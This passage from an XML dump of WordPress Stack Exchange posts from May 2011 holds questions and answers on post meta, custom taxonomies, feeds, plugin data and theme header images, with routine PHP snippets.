LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-27T14:30:40.563" LastActivityDate="2011-05-27T14:30:40.563" CommunityOwnedDate="2011-05-29T03:38:13.367" />
  <row Id="18465" PostTypeId="2" ParentId="18463" CreationDate="2011-05-27T14:34:46.147" Score="4" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://php.net/manual/en/function.unserialize.php&quot; rel=&quot;nofollow&quot;&gt;unserialize()&lt;/a&gt; to convert it into an array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mydata = 'a:5:{s:9:&quot;engine_id&quot;;a:1:{i:0;s:9:&quot;300000225&quot;;}s:15:&quot;transmission_id&quot;;a:1:{i:0;s:6:&quot;257691&quot;;}s:5:&quot;plant&quot;;a:1:{i:0;s:23:&quot;Oshawa, Ontario, Canada&quot;;}s:15:&quot;Manufactured in&quot;;a:1:{i:0;s:6:&quot;CANADA&quot;;}s:22:&quot;Production Seq. Number&quot;;a:1:{i:0;s:6:&quot;151411&quot;;}}';&#xA;$mydata = unserialize($mydata);&#xA;echo $mydata['Manufactured in'][0];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;- Related thought- something to keep in mind when storing meta data serialized like this is that you limit your ability to use that data in queries, if that's a concern for you. for instance, it's not so easy to write queries like &quot;show me all parts manufactured in Canada&quot;, or order results by engine id, since that data is tucked away with a bunch of other data in one field.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-05-27T14:52:35.530" LastActivityDate="2011-05-27T14:52:35.530" CommentCount="5" />
  <row Id="18466" PostTypeId="2" ParentId="18276" CreationDate="2011-05-27T14:36:44.557" Score="1" ViewCount="" Body="&lt;p&gt;You're doing everything fine you just need change &lt;code&gt;'post_type' =&amp;gt; 'post'&lt;/code&gt; from post to your custom type.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-27T14:36:44.557" />
  <row Id="18467" PostTypeId="2" ParentId="18219" CreationDate="2011-05-27T14:49:47.657" Score="1" ViewCount="" Body="&lt;p&gt;You can set up your own error handler, that either ignores the errors or outputs them in comments in the feed. Let it depend on the &quot;surrounding&quot; configuration, so if &lt;code&gt;WP_DEBUG&lt;/code&gt; is &lt;code&gt;false&lt;/code&gt;, ignore the errors. If it is &lt;code&gt;true&lt;/code&gt;, output them in XML comments at the end of the feed, so you don't start a comment when you are in the middle of a tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If notices are displayed this is probably because the administrator explicitly enabled them. You would not do this on a production site, so it should be expected that some output (like RSS feeds) can break.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T14:49:47.657" CommentCount="1" />
  <row Id="18468" PostTypeId="2" ParentId="18423" CreationDate="2011-05-27T14:55:12.907" Score="1" ViewCount="" Body="&lt;p&gt;The reason why this isn't working is because the WordPress core isn't loaded when this dynamic style sheet is loaded. &lt;code&gt;get_option()&lt;/code&gt; hasn't been defined yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need to do is load WordPress at the top of your dynamic stylesheet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include(&quot;../../../wp-load.php&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-27T14:55:12.907" CommentCount="1" />
  <row Id="18469" PostTypeId="2" ParentId="18461" CreationDate="2011-05-27T15:04:20.173" Score="0" ViewCount="" Body="&lt;p&gt;This is no normal filter. It's a &lt;a href=&quot;http://wpseek.com/apply_filters_ref_array/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;filter_ref_array&lt;/code&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Use this to alter your limit:&#xA;add_filter( 'post_limits', create_function( '$a', &quot;return 'LIMIT $start, 10';&quot; ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-27T15:04:20.173" CommentCount="3" />
  <row Id="18470" PostTypeId="2" ParentId="11098" CreationDate="2011-05-27T15:04:25.070" Score="0" ViewCount="" Body="&lt;p&gt;I am experiencing a similar problem.  It does seem to be an issue with 3.1 or newer.  I was experiencing this in many places (search, category archive, next/previous links on multi-post pages,etc...).  I found an offending pluggin and disabled it.  That fixed almost all areas.  Even with all plugins disabled, I still have a problem with my next/previous links.  my code for one of these links is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;alignleft&quot;&amp;gt;&amp;lt;?php next_posts_link( __( '&amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;larr;&amp;lt;/span&amp;gt; Older posts', 'my-theme' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts out there?&lt;/p&gt;&#xA;" OwnerUserId="5745" LastActivityDate="2011-05-27T15:04:25.070" CommentCount="8" />
  <row Id="18471" PostTypeId="2" ParentId="18211" CreationDate="2011-05-27T15:08:34.340" Score="1" ViewCount="" Body="&lt;p&gt;The feed links that are included in the HTML code depend on your theme. For example, &lt;em&gt;Twenty Ten&lt;/em&gt; only includes one feed type (with two feeds: posts and comments). Check your &lt;code&gt;header.php&lt;/code&gt; to see which feeds are referenced there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is a modern theme (like Twenty Ten), you might see no feed links there. This is because WordPress calls &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/general-template.php#L1591&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;feed_links()&lt;/code&gt;&lt;/a&gt; in &lt;code&gt;wp_head&lt;/code&gt;, which will (if the theme supports &lt;code&gt;automatic-feed-links&lt;/code&gt;) output links for posts and entries in the default feed format, &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/feed.php#L52&quot; rel=&quot;nofollow&quot;&gt;which is &lt;code&gt;rss2&lt;/code&gt;&lt;/a&gt; if you don't change it via the &lt;code&gt;default_feed&lt;/code&gt; filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, on some pages like category archives, &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/general-template.php#L1617&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;feed_links_extra()&lt;/code&gt;&lt;/a&gt; will also output links for a feed for only that category, again in the default feed format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to disable a feed (so requests for &lt;code&gt;example.com/atom&lt;/code&gt; will no longer work), you can do something like two7s_clash suggested, or play with the rewrite rules so &lt;code&gt;atom&lt;/code&gt; is no longer part of the allowed feeds.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T15:08:34.340" />
  <row Id="18472" PostTypeId="1" CreationDate="2011-05-27T15:13:52.383" Score="0" ViewCount="60" Body="&lt;p&gt;I'm currently hit a wall with the following issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a page-id.php where I list all my latest 20 posts from withing a specific category. Using Fancybox and modifying single.php I've managed to insert two links for each listed post: gallery and profile. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, when I click profile, I get the modal window via Fancybox where I have my content from within that post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I've hit a wall with the gallery issue. When I click Gallery I want Fancybox to pop-up itself with the grouped images from that post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really care if the grouped images are done via NextGen plug-in or any other plug-in as long as I can open a modal window with all the images uploaded for that post from the page itself, not the single.php of the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if I made myself understandable. Let me just explain the steps of Profile link - it's the same pattern, but needs to be updated for the gallery.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In page-id.php I have 20 posts (latest) posted in a category.&lt;/li&gt;&#xA;&lt;li&gt;To open the content of a post on that page without going into the single.php I just added a new parameter to the permalink:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;amp;profile=ID&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And on single.php I have the following code:&#xA;`&#xA;if(isset($_GET['profile'])) {&#xA;    $id = $_GET['profile'];&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post = get_post($id);&#xA;&#xA;echo &quot;&amp;lt;h3&amp;gt;&quot; . $post-&amp;gt;post_title . &quot;&amp;lt;/h3&amp;gt;&quot;;&#xA;echo $post-&amp;gt;post_content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;} else { &#xA;// Here I start to load the basic single.php if I don't have profile set into the URL&#xA;`&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, I hope someone understands whant I want to accomplish. I could really use a hand here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5746" LastActivityDate="2011-05-27T15:13:52.383" Title="WordPress 3.0+: Call images from within post on a page and insert them into Fancybox" Tags="&lt;gallery&gt;" CommentCount="1" />
  <row Id="18473" PostTypeId="1" CreationDate="2011-05-27T15:14:23.967" Score="0" ViewCount="78" Body="&lt;p&gt;First of all, I am using Wordpress 3.1.x - which as I assume might be relevant for my problem.&lt;br /&gt;&#xA;&lt;br /&gt;&#xA;Secondly, I have only been working with PHP/Wordpress for a few weeks, plus I am not a native speaker; so my apologies in advance for probable performing basic spelling, grammar and/or coding mistakes in my post (which is my first over here).&lt;br /&gt;&#xA;&lt;br /&gt;&#xA;---&lt;br /&gt;&#xA;&lt;br /&gt;&#xA;Generalized, my problem is a kind of intersection problem, affecting both multiple post types and taxonomies.&lt;br /&gt;&#xA;&lt;br /&gt;&#xA;This is what I am trying to do:&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&lt;li&gt;I am using a hierarchical custom post type &lt;code&gt;post_heft&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;I am using posts (builtin post type &lt;code&gt;post&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;I use using custom taxonomies on &lt;b&gt;both&lt;/b&gt; of the post types (but not all posts actually have both taxonomies set to a certain term): &lt;code&gt;diwan_per&lt;/code&gt; and &lt;code&gt;diwan_top&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What I &lt;strong&gt;think&lt;/strong&gt; is the way to achieve I have put into the following &quot;concept&quot;:&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When viewing a single post of the post type &lt;code&gt;post_heft&lt;/code&gt; check for terms in both taxonomies &lt;code&gt;diwan_per&lt;/code&gt; and &lt;code&gt;diwan_top&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ol&gt;&#xA;&lt;li&gt;if &lt;strong&gt;both&lt;/strong&gt; taxonomies have any terms set ( = are not empty):&lt;/li&gt;&#xA;&lt;li&gt;continue (else: do nothing)&lt;/li&gt;&#xA;&lt;li&gt;get the ids the terms(!) of both taxonomies and put them each in a separate variable ( - at least I think that's what's to do - ... see further steps)&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ol&gt;&lt;li&gt;now perform another database query and check the posts of the builtin post type &lt;code&gt;post&lt;/code&gt; for these terms' ids (…judging my ambiguous way of formulating this you may realize I have not yet come this far and don't see if it will be an easy task to do)&lt;/li&gt;&#xA;&lt;li&gt;for these &lt;code&gt;post&lt;/code&gt;-posts do the following: if both taxonomies' terms match (by comparing the term's ids):&lt;/li&gt;&#xA;&lt;li&gt;return an array of the ids of these posts&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;in the single &lt;code&gt;post_heft&lt;/code&gt;-post, list all &lt;code&gt;post&lt;/code&gt;-posts sharing both the terms of taxonomy &lt;code&gt;diwan_per&lt;/code&gt; and &lt;code&gt;diwan_top&lt;/code&gt; with &lt;code&gt;post_heft&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;br /&gt;&#xA;Right now I am stuck between steps 1 and 2.3.&lt;br /&gt;&#xA;I can't seem to find out how to perform the correct query. I have only yet managed to go in circles from putting one term out as a &quot;string&quot; (taken from &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_terms&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_the_terms&lt;/a&gt; ) - which I think is hardly what takes me anywhere (sorry for the bad code layout):&#xA;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$terms = get_the_terms ($post-&gt;id, 'diwan_top');&lt;/code&gt;&#xA;&lt;code&gt;if ( !is_wp_error($terms)) :&lt;br&gt;&#xA;    unset($draught_links);&#xA;    foreach ($terms as $term) {&#xA;        $draught_links[] = $term-&gt;name;&#xA;        }&lt;br&gt;&#xA;    $on_draught = join(&quot;, &quot;, $draught_links);&#xA;    echo $on_draught;&#xA;endif;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;to retrieving an empty array:&#xA;&lt;br /&gt;&#xA;&lt;code&gt;&amp;lt;?php&#xA;$terms = array (wp_get_post_terms( $post-&amp;gt;ID, 'diwan_top' ));&#xA;echo $terms;&#xA;?&amp;gt;&lt;/code&gt;&#xA;&lt;br /&gt;&#xA;I also tried &lt;code&gt;wp_get_object_terms&lt;/code&gt; in a similar way as &lt;code&gt;wp_get_post_terms&lt;/code&gt; … but as I mentioned before, without any result besides an empty array.&lt;br /&gt;&#xA;It seems I am not experienced enough to understand which method to use to retrieve an ID and give it to a variable to process. (At least I kind of  understand the difference between retrieving raw database data and getting a fully processed output, like in &lt;code&gt;wp_list_pages&lt;/code&gt;)&#xA;&lt;br /&gt;&#xA;&lt;br /&gt;&#xA;BTW there is &lt;strong&gt;always&lt;/strong&gt; only be one single term by taxonomy, so the two variables would only have to hold one ID each. This means there is no need of using arrays for the taxonomies.&#xA;&lt;br /&gt;&#xA;Now the question:&lt;br /&gt;&#xA;&lt;strong&gt;How do I get the IDs of those terms into variables?&lt;/strong&gt;&#xA;&lt;br /&gt;&#xA;&lt;br /&gt;&#xA;Any support valued and much appreciated!&lt;br /&gt;&#xA;tarfis&lt;br /&gt;&#xA;&lt;br /&gt;&#xA;---&lt;br /&gt;&#xA;&lt;br /&gt;&#xA;PS. I found &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2255/getting-the-intersection-of-two-custom-taxonomy-terms-for-a-custom-post-type&quot;&gt;Getting the Intersection of Two Custom Taxonomy Terms for a Custom Post Type?&lt;/a&gt; where there was a similar problem, but aside from my differing approach with 3.1.x the conditions might have changed anyway?&lt;/p&gt;&#xA;" OwnerUserId="5743" LastEditorUserId="5743" LastEditorDisplayName="" LastEditDate="2011-05-27T16:00:42.887" LastActivityDate="2011-05-27T16:00:42.887" Title="list posts on custom post type page (if matching terms of two pre-defined taxonomies)" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;wp-query&gt;&lt;wp-get-object-terms&gt;" />
  <row Id="18474" PostTypeId="1" CreationDate="2011-05-27T15:15:09.653" Score="0" ViewCount="133" Body="&lt;p&gt;&lt;br&gt;&#xA;im having trouble using &quot;add post meta&quot; and &quot;get post meta&quot; : i have a new meta box in my taxonomy : i always have the value &quot;empty meta&quot; inside the input field, even after i enter anything : like 'banana' , i publish the article, and same thing : inside the field there is one more time &quot;empty meta&quot; ... (is it a problem with $post-&gt;id? i never really know if $post will be 'understood' depending how it is used)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Prints the box content */&#xA;    function myplugin_inner_custom_box() {&#xA;        // Use nonce for verification&#xA;        wp_nonce_field( plugin_basename( __FILE__ ), 'myplugin_noncename' );&#xA;        $met = get_post_meta($post-&amp;gt;ID, 'champ', true)? get_post_meta($post-&amp;gt;ID, 'champ', true) : 'empty meta';&#xA;&#xA;        /* input */&#xA;        echo '&amp;lt;label for=&quot;myplugin_new_field&quot;&amp;gt;';&#xA;        _e(&quot;Description field : &quot;, 'myplugin_textdomain' );&#xA;        echo '&amp;lt;/label&amp;gt; ';&#xA;        echo '&amp;lt;input type=&quot;text&quot; id=&quot;champ&quot; name=&quot;champ&quot; value=&quot;'.$met.'&quot; /&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also, i tried to make the meta appear in my page, so i put :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( get_post_meta($post-&amp;gt;ID, 'champ_key', true) ) {&#xA;$meta = get_post_meta($post-&amp;gt;ID, &quot;champ_key&quot;, true );&#xA;} else {&#xA;$meta = 'allo';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but nothing appears on the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know how i could go ahead with those post meta? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5644" LastActivityDate="2011-08-27T14:25:19.153" Title="troubles with get_post_meta (and saving it)" Tags="&lt;post-meta&gt;&lt;save-post&gt;" AnswerCount="3" />
  <row Id="18475" PostTypeId="1" AcceptedAnswerId="18501" CreationDate="2011-05-27T15:24:36.717" Score="0" ViewCount="55" Body="&lt;p&gt;My &quot;links&quot; come in from Windows Live Writer, from a perl based delicious sync directly to the database and who knows where from. They all have in common that the category is 'Daily-Links'. So I think I will schedule a cron that every day checks for all posts in the category 'Daily Links' and then adds the post format type 'format-link' to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(since e.g. WLW does not support 'post formats') Or is there a better approach? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to kick this off by running a SQL query since it are probably hunderds of posts (for each object_id,term_taxonomy_id pair which has not already term_taxonomy_id=(id of format-link) AND which has the term_taxonomy_id of (the specific category) DO add the term_taxonomy_id of the format-link)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But... maybe there is already a WP function call for this? Is there?&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-05-27T18:17:20.073" LastActivityDate="2011-05-27T19:20:54.690" Title="How can I convert everything from category X to have post format Link" Tags="&lt;sql&gt;&lt;post-formats&gt;&lt;integration&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="18476" PostTypeId="1" AcceptedAnswerId="18483" CreationDate="2011-05-27T15:26:55.780" Score="0" ViewCount="68" Body="&lt;p&gt;I'm running this code to tell me what plugins need updating:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$update_plugins = get_site_transient('update_plugins');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is an example return:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [login-lockdown/loginlockdown.php] =&amp;gt; stdClass Object&#xA;        (&#xA;            [id] =&amp;gt; 3760&#xA;            [slug] =&amp;gt; login-lockdown&#xA;            [new_version] =&amp;gt; v1.5&#xA;            [url] =&amp;gt; http://wordpress.org/extend/plugins/login-lockdown/&#xA;            [package] =&amp;gt; http://downloads.wordpress.org/plugin/login-lockdown.1.5.zip&#xA;        )&#xA;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From that it doesn't tell me the name of the plugin that needs updating. Is there a WordPress function that you can feed the plugin file name like: &lt;code&gt;ogin-lockdown/loginlockdown.php&lt;/code&gt; and return the plugin name? In this case I'd want &lt;code&gt;Login LockDown&lt;/code&gt; to be returned.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-27T16:23:46.097" Title="How to get plugin name from plugin file location" Tags="&lt;plugins&gt;&lt;functions&gt;&lt;updates&gt;" AnswerCount="2" />
  <row Id="18477" PostTypeId="1" CreationDate="2011-05-27T15:28:02.133" Score="1" ViewCount="24" Body="&lt;p&gt;Cleaning up my databases and I found this in my main table  atpp_options  perhaps from a plugin, anyone have any idea what it might be?&lt;/p&gt;&#xA;" OwnerUserId="5543" LastActivityDate="2011-05-27T15:34:07.070" Title="What is this in my tables" Tags="&lt;database&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="18478" PostTypeId="2" ParentId="18187" CreationDate="2011-05-27T15:30:26.187" Score="0" ViewCount="" Body="&lt;p&gt;You will need to convert the relative links to absolute links. You can do this in &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/nav-menu-template.php#L201&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;wp_nav_menu_objects&lt;/code&gt; filter&lt;/a&gt;, which gets all menu items. Just edit the &lt;code&gt;url&lt;/code&gt; property of each item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to extend the default &lt;code&gt;Walker_Nav_Menu&lt;/code&gt; with one that overrides &lt;code&gt;start_el()&lt;/code&gt;, so you can modify the passed &lt;code&gt;$item&lt;/code&gt; there before you pass it to the parent &lt;code&gt;start_el()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are relative links you added yourself? If you add a link to a WordPress Page or Post via the menu editor it should be absolute by default.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T15:30:26.187" />
  <row Id="18479" PostTypeId="2" ParentId="18477" CreationDate="2011-05-27T15:31:01.257" Score="2" ViewCount="" Body="&lt;p&gt;It's definitely from a plugin, unless you gave your WordPress install a prefix of &quot;atpp_&quot;. Assuming you do not have the plugin active, you can safely remove it.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-05-27T15:31:01.257" CommentCount="1" />
  <row Id="18480" PostTypeId="1" AcceptedAnswerId="18487" CreationDate="2011-05-27T15:31:28.137" Score="1" ViewCount="35" Body="&lt;p&gt;I want to let my customer choose any image (in my backend) and then it will be displayed in my header.php. i've found Image Widget, but it just show images in the sidebar. I want something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_plugin_that_shows_a_simple_image(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my header.&#xA;Which plugin could I use? I've searched a lot.&#xA;WP 3.&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5747" LastActivityDate="2011-05-27T16:02:49.717" Title="Show an image in my header.php" Tags="&lt;plugins&gt;&lt;wp-admin&gt;&lt;image&gt;&lt;front-end&gt;&lt;header&gt;" AnswerCount="1" />
  <row Id="18481" PostTypeId="2" ParentId="18457" CreationDate="2011-05-27T15:32:08.383" Score="1" ViewCount="" Body="&lt;p&gt;I havent tried these yet but I was actually looking at the exact same thing the other day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://magstags.com/wordpress-seo/remove-date-meta-descriptions-wordpress-seo/&quot; rel=&quot;nofollow&quot;&gt;http://magstags.com/wordpress-seo/remove-date-meta-descriptions-wordpress-seo/&lt;/a&gt;&#xA;and&#xA;&lt;a href=&quot;http://seo-ho.blogspot.com/2011/02/how-to-remove-date-from-meta.html&quot; rel=&quot;nofollow&quot;&gt;http://seo-ho.blogspot.com/2011/02/how-to-remove-date-from-meta.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5543" LastActivityDate="2011-05-27T15:32:08.383" />
  <row Id="18482" PostTypeId="2" ParentId="18477" CreationDate="2011-05-27T15:34:07.070" Score="0" ViewCount="" Body="&lt;p&gt;I would guess at it belonging to a plugin you have installed or used to have installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any plugins that you have had installed or current have installed where its initials would spell ATPP?&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-27T15:34:07.070" />
  <row Id="18483" PostTypeId="2" ParentId="18476" CreationDate="2011-05-27T15:41:55.237" Score="1" ViewCount="" Body="&lt;p&gt;I think you'll have to work via &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-admin/includes/plugin.php#L197&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_plugins()&lt;/code&gt;&lt;/a&gt;. It will return a list of all plugins in your plugin folder, indexed by plugin location - which is the same as your array index. This is also &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-admin/includes/class-wp-plugins-list-table.php#L52&quot; rel=&quot;nofollow&quot;&gt;what the plugin administration table uses&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only need the data from one file you could also call &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-admin/includes/plugin.php#L9&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_plugin_data()&lt;/code&gt;&lt;/a&gt; directly. &lt;code&gt;get_plugins()&lt;/code&gt; basically just calls that function in a loop, and caches the result.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T15:41:55.237" />
  <row Id="18484" PostTypeId="1" CreationDate="2011-05-27T15:46:24.857" Score="0" ViewCount="50" Body="&lt;p&gt;I want the category list to have checkboxes so that the visitor can navigate much more easily, just like the way Amazon does it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compare: left is my current layout, right is what I want to achieve&lt;br&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/sMiuD.jpg&quot; alt=&quot;&quot;&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/3jHsW.jpg&quot; alt=&quot;&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="5749" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-27T16:13:16.820" LastActivityDate="2011-08-28T02:35:46.987" Title="Checkboxes in the category list?" Tags="&lt;categories&gt;&lt;navigation&gt;" AnswerCount="1" />
  <row Id="18485" PostTypeId="1" CreationDate="2011-05-27T15:47:03.670" Score="0" ViewCount="152" Body="&lt;p&gt;i have to filter the content to put div's around images. I started with a simple code and it doesn't return anything its completely empty...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function content_filtered($content) {&#xA;    return &quot;&amp;lt;div class='some_class'&amp;gt;&quot;. $content.&quot;&amp;lt;/div&amp;gt;&quot;;&#xA;}&#xA;add_filter(&quot;the_content&quot;, &quot;content_filtered&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it doesn't return anything... its completely empty...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i use this it works normally&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_content();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="5748" LastActivityDate="2011-05-27T15:47:03.670" Title="add_filter('the_content', 'function') not showing anything" Tags="&lt;add-filter&gt;&lt;the-content&gt;" CommentCount="3" />
  <row Id="18486" PostTypeId="2" ParentId="18476" CreationDate="2011-05-27T15:59:50.537" Score="0" ViewCount="" Body="&lt;p&gt;Link to the plugin that displays a table listing all plugins that need an update in the admin footer: &lt;a href=&quot;https://gist.github.com/995560&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/995560&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-27T16:23:46.097" LastActivityDate="2011-05-27T16:23:46.097" CommentCount="2" />
  <row Id="18487" PostTypeId="2" ParentId="18480" CreationDate="2011-05-27T16:02:49.717" Score="1" ViewCount="" Body="&lt;p&gt;WordPress contains &lt;a href=&quot;http://codex.wordpress.org/Custom_Headers&quot; rel=&quot;nofollow&quot;&gt;built-in support to select header images for a theme&lt;/a&gt;. You only have to indicate that your theme supports this, by calling &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_custom_image_header&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_custom_image_header()&lt;/code&gt;&lt;/a&gt;. See &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-content/themes/twentyten/functions.php#L114&quot; rel=&quot;nofollow&quot;&gt;the Twenty Ten initialization&lt;/a&gt; for details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your theme's &lt;code&gt;header.php&lt;/code&gt; you then call &lt;code&gt;header_image()&lt;/code&gt; to get the current header image.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T16:02:49.717" CommentCount="2" />
